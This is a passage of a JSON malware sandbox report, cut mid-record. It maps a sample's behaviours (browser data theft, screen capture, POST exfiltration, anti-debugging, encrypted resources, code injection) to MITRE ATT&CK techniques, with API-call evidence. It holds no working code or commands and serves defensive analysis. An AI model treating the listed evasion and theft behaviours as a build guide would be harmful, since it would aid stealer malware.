APIs"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to move file or directory"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"malicious","value":"Steals sensitive data from browsers"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Creates directory on disk"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops XML files"},{"type":"suspicious","value":"Writes a PE file header to disc"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Calls an API used to connect to internet"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"malicious","value":"Contains ability to reboot/shutdown the operating system"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","identifiers":[{"type":"malicious","value":"Contains ability to start/interact with device drivers"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$22","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"EasyAppns.exe\" called \"FindResourceW\" with parameter \"101\" - (UID: 00000000-00001560)\n \"EasyAppns.exe\" called \"FindResourceW\" with parameter \"617660\" - (UID: 00000000-00001560)\n \"april.exe\" called \"FindResourceA\" with parameter \"11111\" - (UID: 00000000-00007680)\n \"april.tmp\" called \"FindResourceA\" with parameter \"4683876\" - (UID: 00000000-00007668)\n \"april.tmp\" called \"FindResourceA\" with parameter \"4548656\" - (UID: 00000000-00007668)\n \"april.tmp\" called \"FindResourceA\" with parameter \"4684584\" - (UID: 00000000-00007668)\n \"april.tmp\" called \"FindResourceA\" with parameter \"81844060\" - (UID: 00000000-00007668)\n \"april.tmp\" called \"FindResourceA\" with parameter \"81848916\" - (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"EasyAppns.exe\" called \"LoadResource with parameter {'hModule': '393216', 'hResInfo': '820224'}\" (UID: 00000000-00001560)\n \"april.exe\" called \"LoadResource with parameter {'hModule': '0', 'hResInfo': '4264704'}\" (UID: 00000000-00007680)\n \"april.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4868488'}\" (UID: 00000000-00007668)\n \"april.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4868456'}\" (UID: 00000000-00007668)\n \"april.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4868504'}\" (UID: 00000000-00007668)\n \"april.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4868520'}\" (UID: 00000000-00007668)\n \"april.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4868616'}\" (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"april.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\is-T5UCC.tmp (UID: 00000000-00007680)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$23","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$24","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"RegSetValueEx\" (Indicator: \"RegSetValue\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004644.00000000.172374.03220000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005760.00000000.171650.02E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3 has big resource with name: \"EasyAppns\" size: \"1011876\" and abnormal entropy:\"7.883108042034375\"\n fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3 has big resource with name: \"InstallSetup_four\" size: \"413696\" and abnormal entropy:\"7.513654833187169\"\n fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3 has big resource with name: \"april\" size: \"1845196\" and abnormal entropy:\"7.996918712542935\"\n fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3 has big resource with name: \"288c47bbc1871b439df19ff4df68f076\" size: \"4298120\" and abnormal entropy:\"7.990514341176982\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007668.00000000.172116.0049A000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007668.00000000.172116.04DF0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008076.00000001.173786.03592000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008076.00000001.173786.053F0000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x; Source: \"64666-211-004569D4\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$25","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00001548]\n Process \"WerFault.exe\" [UID: 00000000-00007288]\n Process \"WerFault.exe\" [UID: 00000000-00004452]\n Process \"WerFault.exe\" [UID: 00000000-00001884]\n Process \"WerFault.exe\" [UID: 00000000-00006740]\n Process \"WerFault.exe\" [UID: 00000000-00000508]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: 